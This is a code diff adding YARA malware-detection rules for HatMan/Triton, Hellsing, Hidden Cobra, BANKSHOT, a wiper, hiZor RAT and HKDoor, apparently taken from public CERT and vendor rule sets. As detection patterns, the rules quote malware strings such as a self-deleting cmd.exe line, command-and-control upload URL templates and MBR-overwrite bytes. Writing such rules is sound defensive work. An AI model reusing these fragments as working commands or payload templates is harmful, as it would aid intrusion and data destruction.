@@ -0,0 +1,140 @@
|
||||
/*
|
||||
* DESCRIPTION: Yara rules to match the known binary components of the HatMan
|
||||
* malware targeting Triconex safety controllers. Any matching
|
||||
* components should hit using the "hatman" rule in addition to a
|
||||
* more specific "hatman_*" rule.
|
||||
* AUTHOR: DHS/NCCIC/ICS-CERT
|
||||
*/
|
||||
|
||||
/* Globally only look at small files. */
|
||||
|
||||
/* Disabled global rule to avoid applying this rule to the full concatenated
|
||||
rule set
|
||||
private global rule hatman_filesize : hatman {
|
||||
condition:
|
||||
filesize < 100KB
|
||||
}
|
||||
*/
|
||||
|
||||
/* Private rules that are used at the end in the public rules. */
|
||||
|
||||
private rule hatman_setstatus : hatman {
|
||||
strings:
|
||||
$preset = { 80 00 40 3c 00 00 62 80 40 00 80 3c 40 20 03 7c
|
||||
?? ?? 82 40 04 00 62 80 60 00 80 3c 40 20 03 7c
|
||||
?? ?? 82 40 ?? ?? 42 38 }
|
||||
condition:
|
||||
$preset
|
||||
}
|
||||
private rule hatman_memcpy : hatman {
|
||||
strings:
|
||||
$memcpy_be = { 7c a9 03 a6 38 84 ff ff 38 63 ff ff 8c a4 00 01
|
||||
9c a3 00 01 42 00 ff f8 4e 80 00 20 }
|
||||
$memcpy_le = { a6 03 a9 7c ff ff 84 38 ff ff 63 38 01 00 a4 8c
|
||||
01 00 a3 9c f8 ff 00 42 20 00 80 4e }
|
||||
condition:
|
||||
$memcpy_be or $memcpy_le
|
||||
}
|
||||
private rule hatman_dividers : hatman {
|
||||
strings:
|
||||
$div1 = { 9a 78 56 00 }
|
||||
$div2 = { 34 12 00 00 }
|
||||
condition:
|
||||
$div1 and $div2
|
||||
}
|
||||
private rule hatman_nullsub : hatman {
|
||||
strings:
|
||||
$nullsub = { ff ff 60 38 02 00 00 44 20 00 80 4e }
|
||||
condition:
|
||||
$nullsub
|
||||
}
|
||||
private rule hatman_origaddr : hatman {
|
||||
strings:
|
||||
$oaddr_be = { 3c 60 00 03 60 63 96 f4 4e 80 00 20 }
|
||||
$oaddr_le = { 03 00 60 3c f4 96 63 60 20 00 80 4e }
|
||||
condition:
|
||||
$oaddr_be or $oaddr_le
|
||||
}
|
||||
private rule hatman_origcode : hatman {
|
||||
strings:
|
||||
$ocode_be = { 3c 00 00 03 60 00 a0 b0 7c 09 03 a6 4e 80 04 20 }
|
||||
$ocode_le = { 03 00 00 3c b0 a0 00 60 a6 03 09 7c 20 04 80 4e }
|
||||
condition:
|
||||
$ocode_be or $ocode_le
|
||||
}
|
||||
private rule hatman_mftmsr : hatman {
|
||||
strings:
|
||||
$mfmsr_be = { 7c 63 00 a6 }
|
||||
$mfmsr_le = { a6 00 63 7c }
|
||||
$mtmsr_be = { 7c 63 01 24 }
|
||||
$mtmsr_le = { 24 01 63 7c }
|
||||
condition:
|
||||
($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
|
||||
}
|
||||
private rule hatman_loadoff : hatman {
|
||||
strings:
|
||||
$loadoff_be = { 80 60 00 04 48 00 ?? ?? 70 60 ff ff 28 00 00 00
|
||||
40 82 ?? ?? 28 03 00 00 41 82 ?? ?? }
|
||||
$loadoff_le = { 04 00 60 80 ?? ?? 00 48 ff ff 60 70 00 00 00 28
|
||||
?? ?? 82 40 00 00 03 28 ?? ?? 82 41 }
|
||||
condition:
|
||||
$loadoff_be or $loadoff_le
|
||||
}
|
||||
private rule hatman_injector_int : hatman {
|
||||
condition:
|
||||
hatman_memcpy and hatman_origaddr and hatman_loadoff
|
||||
}
|
||||
private rule hatman_payload_int : hatman {
|
||||
condition:
|
||||
hatman_memcpy and hatman_origcode and hatman_mftmsr
|
||||
}
|
||||
|
||||
/* Actual public rules to match using the private rules. */
|
||||
|
||||
rule hatman_compiled_python : hatman {
|
||||
meta:
|
||||
description = "Detects Hatman malware"
|
||||
reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
|
||||
date = "2017/12/19"
|
||||
author = "DHS/NCCIC/ICS-CERT"
|
||||
condition:
|
||||
hatman_nullsub and hatman_setstatus and hatman_dividers
|
||||
}
|
||||
rule hatman_injector : hatman {
|
||||
meta:
|
||||
description = "Detects Hatman malware"
|
||||
reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
|
||||
date = "2017/12/19"
|
||||
author = "DHS/NCCIC/ICS-CERT"
|
||||
condition:
|
||||
hatman_injector_int and not hatman_payload_int
|
||||
}
|
||||
rule hatman_payload : hatman {
|
||||
meta:
|
||||
description = "Detects Hatman malware"
|
||||
reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
|
||||
date = "2017/12/19"
|
||||
author = "DHS/NCCIC/ICS-CERT"
|
||||
condition:
|
||||
hatman_payload_int and not hatman_injector_int
|
||||
}
|
||||
rule hatman_combined : hatman {
|
||||
meta:
|
||||
description = "Detects Hatman malware"
|
||||
reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
|
||||
date = "2017/12/19"
|
||||
author = "DHS/NCCIC/ICS-CERT"
|
||||
condition:
|
||||
hatman_injector_int and hatman_payload_int and hatman_dividers
|
||||
}
|
||||
|
||||
rule hatman : hatman {
|
||||
meta:
|
||||
reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
|
||||
date = "2017/12/19"
|
||||
author = "DHS/NCCIC/ICS-CERT"
|
||||
description = "Matches the known samples of the HatMan malware."
|
||||
condition:
|
||||
hatman_compiled_python or hatman_injector or hatman_payload
|
||||
or hatman_combined
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
|
||||
rule apt_hellsing_implantstrings {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab"
|
||||
copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing implants"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$a1 = "the file uploaded failed !"
|
||||
$a2 = "ping 127.0.0.1"
|
||||
$b1 = "the file downloaded failed !"
|
||||
$b2 = "common.asp"
|
||||
$c = "xweber_server.exe"
|
||||
$d = "action="
|
||||
$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase
|
||||
$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase
|
||||
$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase
|
||||
$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase
|
||||
$debugpath5 = "e:\\Hellsing\\release\\clare" nocase
|
||||
$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase
|
||||
$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
|
||||
$e = "msger_server.dll"
|
||||
$f = "ServiceMain"
|
||||
condition:
|
||||
($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
|
||||
}
|
||||
|
||||
rule apt_hellsing_installer {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab"
|
||||
copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing xweber/msger installers"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
|
||||
$a1 = "xweber_install_uac.exe"
|
||||
$a2 = "system32\\cmd.exe" wide
|
||||
$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
|
||||
$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
|
||||
$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g=" $a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
|
||||
$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
|
||||
$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
|
||||
$a10 = "%SystemRoot%\\system32\\cmd.exe" wide
|
||||
$a11 = "msger_install.dll"
|
||||
$a12 = {00 65 78 2E 64 6C 6C 00}
|
||||
condition:
|
||||
($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000
|
||||
}
|
||||
|
||||
rule apt_hellsing_proxytool {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab"
|
||||
copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing proxy testing tool"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$a1 = "PROXY_INFO: automatic proxy url => %s"
|
||||
$a2 = "PROXY_INFO: connection type => %d"
|
||||
$a3 = "PROXY_INFO: proxy server => %s"
|
||||
$a4 = "PROXY_INFO: bypass list => %s"
|
||||
$a5 = "InternetQueryOption failed with GetLastError() %d"
|
||||
$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
|
||||
condition:
|
||||
($mz at 0) and (2 of ($a*)) and filesize < 300000
|
||||
}
|
||||
|
||||
rule apt_hellsing_xkat {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing xKat tool"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$a1 = "\\Dbgv.sys" $a2="XKAT_BIN" $a3="release sys file error."
|
||||
$a4 = "driver_load error. "
|
||||
$a5 = "driver_create error."
|
||||
$a6 = "delete file:%s error."
|
||||
$a7 = "delete file:%s ok."
|
||||
$a8 = "kill pid:%d error."
|
||||
$a9 = "kill pid:%d ok."
|
||||
$a10 = "-pid-delete"
|
||||
$a11 = "kill and delete pid:%d error."
|
||||
$a12 = "kill and delete pid:%d ok."
|
||||
condition:
|
||||
($mz at 0) and (6 of ($a*)) and filesize < 300000
|
||||
}
|
||||
|
||||
rule apt_hellsing_msgertype2 {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab"
|
||||
copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing msger type 2 implants"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$a1 = "%s\\system\\%d.txt"
|
||||
$a2 = "_msger"
|
||||
$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
|
||||
$a4 = "http://%s/data/%s.1000001000"
|
||||
$a5 = "/lib/common.asp?action=user_upload&file="
|
||||
$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
|
||||
condition:
|
||||
($mz at 0) and (4 of ($a*)) and filesize < 500000
|
||||
}
|
||||
|
||||
rule apt_hellsing_irene {
|
||||
meta:
|
||||
version = "1.0"
|
||||
filetype = "PE"
|
||||
author = "Costin Raiu, Kaspersky Lab"
|
||||
copyright = "Kaspersky Lab"
|
||||
date = "2015-04-07"
|
||||
description = "detection for Hellsing msger irene installer"
|
||||
strings:
|
||||
$mz = "MZ"
|
||||
$a1 = "\\Drivers\\usbmgr.tmp" wide
|
||||
$a2 = "\\Drivers\\usbmgr.sys" wide
|
||||
$a3 = "common_loadDriver CreateFile error!"
|
||||
$a4 = "common_loadDriver StartService error && GetLastError():%d!"
|
||||
$a5 = "irene" wide
|
||||
$a6 = "aPLib v0.43 - the smaller the better"
|
||||
condition:
|
||||
($mz at 0) and (4 of ($a*)) and filesize < 500000
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-06-13
|
||||
Identifier: Hidden Cobra
|
||||
Reference: https://www.us-cert.gov/ncas/alerts/TA17-164A
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule HiddenCobra_Rule_1 {
|
||||
meta:
|
||||
description = "Detects Hidden Cobra Malware"
|
||||
author = "US CERT"
|
||||
reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
|
||||
date = "2017-06-13"
|
||||
strings:
|
||||
$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
|
||||
A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
|
||||
48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
|
||||
73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
|
||||
AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
|
||||
39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
|
||||
3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
|
||||
B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
/* Prone to False Positives ----------------------------------------
|
||||
rule HiddenCobra_Rule_2 {
|
||||
meta:
|
||||
description = "Detects Hidden Cobra Malware"
|
||||
author = "US CERT"
|
||||
reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
|
||||
date = "2017-06-13"
|
||||
strings:
|
||||
$STR1 = "Wating" wide ascii fullword
|
||||
$STR2 = "Reamin" wide ascii fullword
|
||||
$STR3 = "laptos" wide ascii fullword
|
||||
condition:
|
||||
( uint16(0) == 0x5A4D or
|
||||
uint16(0) == 0xCFD0 or
|
||||
uint16(0) == 0xC3D4 or
|
||||
uint32(0) == 0x46445025 or
|
||||
uint32(1) == 0x6674725C
|
||||
) and all of them
|
||||
}
|
||||
*/
|
||||
|
||||
rule HiddenCobra_Rule_3 {
|
||||
meta:
|
||||
description = "Detects Hidden Cobra Malware"
|
||||
author = "US CERT"
|
||||
reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
|
||||
date = "2017-06-13"
|
||||
strings:
|
||||
$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
|
||||
44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
|
||||
00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
|
||||
6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
|
||||
48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
|
||||
44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
|
||||
18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
|
||||
44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
|
||||
66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
|
||||
6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
|
||||
83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
|
||||
00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
|
||||
FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
|
||||
49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
|
||||
C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
|
||||
E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
|
||||
8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
|
||||
C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
|
||||
?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
|
||||
48 C3 }
|
||||
condition:
|
||||
$randomUrlBuilder
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-12-26
|
||||
Identifier: Hidden Cobra - BANKSHOT
|
||||
Reference: https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule HiddenCobra_BANKSHOT_Gen {
|
||||
meta:
|
||||
description = "Detects Hidden Cobra BANKSHOT trojan"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
|
||||
date = "2017-12-26"
|
||||
hash1 = "89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486"
|
||||
hash2 = "8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247"
|
||||
hash3 = "b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24"
|
||||
hash4 = "daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75"
|
||||
hash5 = "ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699"
|
||||
hash6 = "d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff"
|
||||
hash7 = "ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9"
|
||||
hash8 = "3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6"
|
||||
hash9 = "6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca"
|
||||
strings:
|
||||
$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword wide
|
||||
$s2 = "rHTTP/1.1 200 Connection established" fullword wide
|
||||
$s3 = "Proxy-Connection: keep-alive" fullword wide
|
||||
$s4 = "\\msncf.dat" fullword wide
|
||||
$s5 = "msvcru32.bat" fullword ascii
|
||||
$s6 = "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"%s\" /f" fullword ascii
|
||||
$s7 = "MXINFO.DLL" fullword ascii
|
||||
$s8 = "usrvc32.bat" fullword ascii
|
||||
$s9 = "ping -n 1 127.0.0.1" fullword ascii
|
||||
$s10 = "%sd.e%sc \"%s > %s 2>&1\"" ascii fullword
|
||||
$s11 = "DWS*.tmp" ascii fullword
|
||||
$s12 = "CS*.tmp" fullword wide
|
||||
$s13 = "WM*.tmp" fullword wide
|
||||
|
||||
$x1 = "CgpaipIddwspwe32Hnaehsdi" fullword ascii
|
||||
$x2 = "RpiPmtiCdopIsgpao" fullword ascii
|
||||
$x3 = "RpiLtnodlhOtgpcidgyA" fullword ascii
|
||||
$x4 = "LatiQdgHtnrwpDbupci" fullword ascii
|
||||
$x5 = "vchost.exe" fullword ascii
|
||||
$x6 = "\\system32\\msncf.dat" fullword ascii
|
||||
$x7 = "GprthipgHpgktcpCigwSanowpgA" fullword ascii
|
||||
|
||||
$a1 = "live.dropbox.com" fullword ascii
|
||||
$a2 = "tatadocomo.yahoo.com" fullword ascii
|
||||
$a3 = "widgets.twimg.com" fullword ascii
|
||||
$a4 = "history.paypal.com" fullword ascii
|
||||
$a5 = "www.bitcoin.org" fullword ascii
|
||||
$a6 = "web.whatsapp.com" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and (
|
||||
1 of ($x*) or
|
||||
2 of ($s*) or
|
||||
4 of ($a*)
|
||||
)
|
||||
}
|
||||
|
||||
/* US CERT Rule */
|
||||
|
||||
rule Unauthorized_Proxy_Server_RAT {
|
||||
meta:
|
||||
author = "US-CERT Code Analysis Team"
|
||||
reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
|
||||
hash1 = "C74E289AD927E81D2A1A56BC73E394AB"
|
||||
hash2 = "2950E3741D7AF69E0CA0C5013ABC4209"
|
||||
desscription = "Detects Proxy Server RAT"
|
||||
strings:
|
||||
$s0 = {8A043132C288043125FF00000003C299F73D40404900A14440490003D0413BCF72DE5E5FC3}
|
||||
$s1 = {8A04318844241432C28804318B44241425FF00000003C299F73D40404900A14440490003D0413BCF72D65E5FC3}
|
||||
$s2 = {8A04318844241432C28804318B44241425FF00000003C299F73D5C394100A16039410003D0413BCF72D65E5FC3}
|
||||
$s3 = {8A043132C288043125FF00000003C299F73D5C394100A16039410003D0413BCF72DE5E5FC3}
|
||||
$s4 = {B91A7900008A140780F29A8810404975F4}
|
||||
$s5 = {399FE192769F839DCE9F2A9D2C9EAD9CEB9FD19CA59F7E9F539CEF9F029F969C6C9E5C9D949FC99F}
|
||||
$s6 = {8A04318844241432C28804318B44241425FF00000003C299F73D40600910A14460091003D0413BCF72D65E5FC3}
|
||||
$s7 = {3C5C75208A41014184C074183C72740C3C7474083C6274043C2275088A41014184C075DC}
|
||||
$s8 = {8B063D9534120077353D59341200722E668B4604663DE8037F24}
|
||||
$s9 = {8BC88B74241CC1E1052BC88B7C2418C1E1048B5C241403C88D04888B4C242083F9018944240C7523}
|
||||
$s10 = {8B063D9034120077353D59341200722E668B4604663DE8037F246685C0}
|
||||
$s11 = {30110FB60148FFC102C20FBEC09941F7F94103D249FFC875E7}
|
||||
$s12 = {448BE8B84FECC44E41F7EDC1FA038BCAC1E91F03D16BD21A442BEA4183C541}
|
||||
$s13 = {8A0A80F9627C2380F9797F1E80F9647C0A80F96D7F0580C10BEB0D80F96F7C0A80F9787F05}
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
Author: NCCIC Partner
|
||||
Date: 2018-03-28
|
||||
Identifier: HiddenCobra
|
||||
Reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf
|
||||
*/
|
||||
|
||||
rule HiddenCobra_r4_wiper_1 {
|
||||
meta:
|
||||
author = "NCCIC Partner"
|
||||
date = "2017-12-12"
|
||||
description = "Detects HiddenCobra Wiper"
|
||||
reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
|
||||
strings:
|
||||
$mbr_code = { 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 5D 7C 33 C9 41 81 F9 00 ?? 74 24 B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 83 55 06 00 EB D5 BE 4D 7C B4 43 B0 00 CD 13 33 C9 BE 5D 7C EB C5 }
|
||||
$controlServiceFoundlnBoth = { 83 EC 1C 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 44 8B 44 24 24 53 56 6A 24 50 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 1C 8D 4C 24 0C 51 6A 01 56 FF 15 ?? ?? ?? ?? 68 E8 03 00 00 FF 15 ?? ?? ?? ?? 56 FF D3 57 FF D3 5E 5B 33 C0 5F 83 C4 1C C3 33 C0 5F 83 C4 1C C3 }
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and any of them
|
||||
}
|
||||
|
||||
rule HiddenCobra_r4_wiper_2 {
|
||||
meta:
|
||||
author = "NCCIC Partner"
|
||||
date = "2017-12-12"
|
||||
description = "Detects HiddenCobra Wiper"
|
||||
reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
|
||||
strings:
|
||||
// BIOS Extended Write
|
||||
$PhysicalDriveSTR = "\\\\.\\PhysicalDrive" wide
|
||||
$ExtendedWrite = { B4 43 B0 00 CD 13 }
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and all of them
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
rule apt_win32_dll_rat_hiZorRAT
|
||||
{
|
||||
meta:
|
||||
dexcription = "Detects hiZor RAT"
|
||||
hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
|
||||
hash2 = "d9821468315ccd3b9ea03161566ef18e"
|
||||
hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
|
||||
ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
|
||||
reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
|
||||
strings:
|
||||
// Part of the encoded User-Agent = Mozilla
|
||||
$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
|
||||
|
||||
// XOR to decode User-Agent after string stacking 0x10001630
|
||||
$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
|
||||
|
||||
// XOR with 0x2E - 0x10002EF6
|
||||
$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
|
||||
|
||||
$s4 = "CmdProcessExited" wide ascii
|
||||
$s5 = "rootDir" wide ascii
|
||||
$s6 = "DllRegisterServer" wide ascii
|
||||
$s7 = "GetNativeSystemInfo" wide ascii
|
||||
$s8 = "%08x%08x%08x%08x" wide ascii
|
||||
condition:
|
||||
(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
import "pe"
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-18
|
||||
Identifier: HKDoor
|
||||
Reference: https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html
|
||||
*/
|
||||
|
||||
rule hkdoor_backdoor_dll {
|
||||
meta:
|
||||
description = "Hacker's Door Backdoor DLL"
|
||||
author = "Cylance Inc."
|
||||
reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
|
||||
strings:
|
||||
$s1 = "The version of personal hacker's door server is" fullword ascii
|
||||
$s2 = "The connect back interval is %d (minutes)" fullword ascii
|
||||
$s3 = "I'mhackeryythac1977" fullword ascii
|
||||
$s4 = "Welcome to http://www.yythac.com" fullword ascii
|
||||
$s5 = "SeLoadDriverPrivilege" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and
|
||||
filesize < 400KB and
|
||||
( 3 of ($s*) ) and
|
||||
pe.characteristics & pe.DLL and
|
||||
pe.imports("ws2_32.dll", "WSAStartup") and
|
||||
pe.imports("ws2_32.dll", "sendto")
|
||||
}
|
||||
|
||||
rule hkdoor_backdoor {
|
||||
meta:
|
||||
description = "Hacker's Door Backdoor"
|
||||
author = "Cylance Inc."
|
||||
reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
|
||||
strings:
|
||||
$s1 = "http://www.yythac.com" fullword ascii
|
||||
$s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
|
||||
$s3 = "password-----------The hacker's door's password" fullword ascii
|
||||
$s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
|
||||
$s5 = "hkdoordll.dll" fullword ascii
|
||||
$s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
|
||||
$s7 = "I'mhackeryythac1977" fullword ascii
|
||||
$s8 = "yythac.yeah.net" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and
|
||||
filesize < 400KB and
|
||||
( 4 of ($s*) )
|
||||
}
|
||||
|
||||
rule hkdoor_dropper {
|
||||
meta:
|
||||
description = "Hacker's Door Dropper"
|
||||
author = "Cylance Inc."
|
||||
reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
|
||||
strings:
|
||||
$s1 = "The version of personal hacker's door server is" fullword ascii
|
||||
$s2 = "The connect back interval is %d (minutes)" fullword ascii
|
||||
$s3 = "I'mhackeryythac1977" fullword ascii
|
||||
$s4 = "Welcome to http://www.yythac.com" fullword ascii
|
||||
$s5 = "SeLoadDriverPrivilege" fullword ascii
|
||||
$s6 = "\\drivers\\ntfs.sys" fullword ascii
|
||||
$s7 = "kifes" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and
|
||||
filesize < 1000KB and
|
||||
( 4 of ($s*) ) and
|
||||
pe.number_of_resources > 0 and
|
||||
for any i in (0..pe.number_of_resources - 1):
|
||||
(pe.resources[i].type_string == "B\x00I\x00N\x00" and
|
||||
uint16(pe.resources[i].offset) == 0x5A4D) and
|
||||
pe.imports("KERNEL32.dll", "FindResourceW") and
|
||||
pe.imports("KERNEL32.dll", "LoadResource")
|
||||
}
|
||||
|
||||
rule hkdoor_driver {
|
||||
meta:
|
||||
description = "Hacker's Door Driver"
|
||||
strings:
|
||||
$s1 = "ipfltdrv.sys" fullword ascii
|
||||
$s2 = "Patch Success." fullword ascii
|
||||
$s3 = "\\DosDevices\\kifes" fullword ascii
|
